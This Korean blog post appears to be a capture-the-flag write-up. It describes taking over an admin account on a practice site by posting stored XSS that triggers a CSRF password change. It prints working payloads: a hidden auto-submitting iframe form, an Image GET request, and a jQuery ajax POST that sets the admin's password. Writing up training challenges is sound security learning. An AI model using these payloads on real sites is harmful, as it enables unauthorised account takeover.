2024. 7. 9. 20:49ㆍ정보보안 및 해킹/CTF
1) 마이페이지 비밀번호 변경기능 확인을 위해 로그인 후 메인페이지에 있는 마이페이지 클릭
2) 변경할 비밀번호에 임의의 비밀번호 입력
3) 입력 후 변경 시 어떤 이벤트가 발생하는지 확인
4) alert()창이 뜨면서 안의 문구는 ‘회원 정보 수정에 성공하셨습니다!’ 라고 뜨는 것 확인 완료
5) 비밀번호 변경 시 로그인이 풀림 확인
6) 비밀번호 변경은 POST Method로 보내지고 있음 확인
7) 파라미터는 id, info, pw 총 3가지 파라미터를 전달하고 있음을 확인
8) 관리자의 비밀번호를 변경하는 로직을 집어넣은 글을 작성하기 위해 게시판 클릭 후 글쓰기 클릭
9) XSS 및 CSRF 공격에 필요한 특수문자 사용 가능 여부 확인을 위해 < ‘ “ >을 포함한 글 작성
10) 글 작성 후 Burp Suite에서 확인하니 전부 필터링이나 HTML Entity 없이 작성되는 것을 확인
11) 마이페이지에서 비밀번호를 업데이트 하는 페이지가 POST Method 였기 때문에 form tag로 POST 문 작성
시행착오 코드
<iframe name="stealthFrame" style="display:none;"></iframe> //숨겨진 iframe. POST Method를 이곳으로 보내 공격자의 행위를 가리기 위함
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php" id="myForm" target="stealthFrame"> //마이페이지에 보내는 POST Method. target을 iframe으로 지정하여 이벤트 발생을 감춤
<input type="hidden" name="pw" value="1234"/> //마이페이지에서 변경하고자 하는 것
<input type="hidden" type="submit" value="ClickMe"/> //숨겨진 submit 버튼
</form>
<script> document.getElementById('myForm').submit(); </script> //자동 submit
12) POST Method가 담길 글을 클릭 시에는 마이페이지에서 비밀번호를 변경했을 때와 같은 alert()창이 뜨는 것을 확인
해당 공격을 그대로 관리자에게 보낼 시에는 바로 노출될 것이 예상되어 GET Method 방식으로 바꾸어 공격을 재시도 하고자 함
13) Burp Suite에서 GET Method로 변경하여 얻은 링크를 입력하여 글을 재작성
시행착오 코드
<script>
var i = new Image(); //새로운 Image() 객체를 생성
i.src = 'http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php?id=chlqhqodlekt&info=&pw=1234'; //Image()의 src에 마이페이지의 비밀번호를 변경하는 링크를 삽입
</script>
14) GET Method가 담긴 글을 클릭해서는 alert()창이 뜨지 않는 것을 확인
15) Burp Suite에서 확인하니 에러가 발생했습니다 라는 문구와 함께 비밀번호 변경이 되지 않은 것을 확인
따라서 GET Method로는 공격이 불가능
16) POST Method로 마이페이지의 비밀번호 변경을 시도하고 바로 로그인을 하는 로직을 추가하여 차례대로 submit()을 진행하여 어떤 결과가 나오는지 확인
17) 작성한 글을 클릭했을 때 아까와 동일한 alert()창이 뜨는 것을 확인
18) 비밀번호가 변경되면서 로그인이 풀려 게시글 접근이 불가해짐 확인
19) Burp Suite에서 확인하니 마이페이지의 비밀번호 변경이 POST Method로 보내짐을 확인
20) 로그인 시도를 위한 로직은 성공적으로 작동함을 확인
게시글에서 잘못된 접근이라고 떴던 alert()창은 쿠키가 바뀌었기 때문이라고 판단
21) POST도, GET Method도 통하지 않아 ajax로 전송을 시도
정답 코드
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script> //ajax를 사용하기 위한 js 불러옴
$.ajax({
url: 'http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php', //ajax 타겟 url
data: {'id':'chlqhqodlekt_admin','info':'','pw':'1234'}, //ajax 에 전송할 파라미터와 값
type: 'POST', //ajax의 Method
success: function (result) { //ajax 성공 시 태울 함수 > 보통 다음 로직을 태우나, 다음 로직이 없기 때문에 비어있음
}
});
</script>
22) ajax로 전송하는 로직을 담은 글 클릭 시 alert()창이 뜨지 않는 것을 확인
23) Burp Suite에서 확인하니 POST Method로 비밀번호 변경이 된 것 확인
24) 해당 코드를 자신의 아이디_admin 이라는 관리자 계정의 비밀번호를 변경하기 위해 id 파라미터 부분을 살짝 수정하여 글 등록
25) 해당 글의 링크를 복사
26) 글의 링크를 관리자가 방문하는 광리자 visit Bot에 붙여 넣고 아이디부분에 자신의 아이디_admin 입력 후 Visit을 클릭하여 방문하게 함
27) 관리자 방문 확인
30) 로그인 되어있던 아이디에서 로그아웃
31) 자신의 아이디_admin 그리고 변경한 비밀번호를 입력하여 로그인 시도
32) 공격자의 의도대로 관리자의 비밀번호를 관리자 모르게 변경하여 계정 탈취 성공 확인
'정보보안 및 해킹 > CTF' 카테고리의 다른 글
[Normaltic's CTF] GET Admin 3 (0) | 2024.07.09 |
---|---|
[Normaltic's CTF] GET Admin 1 (0) | 2024.07.09 |
[Normaltic's CTF] Steal Info 2 (0) | 2024.07.05 |
[Normaltic's CTF] Steal Info 1 (0) | 2024.07.05 |
[Normaltic's CTF] Basic Script Prac (0) | 2024.07.05 |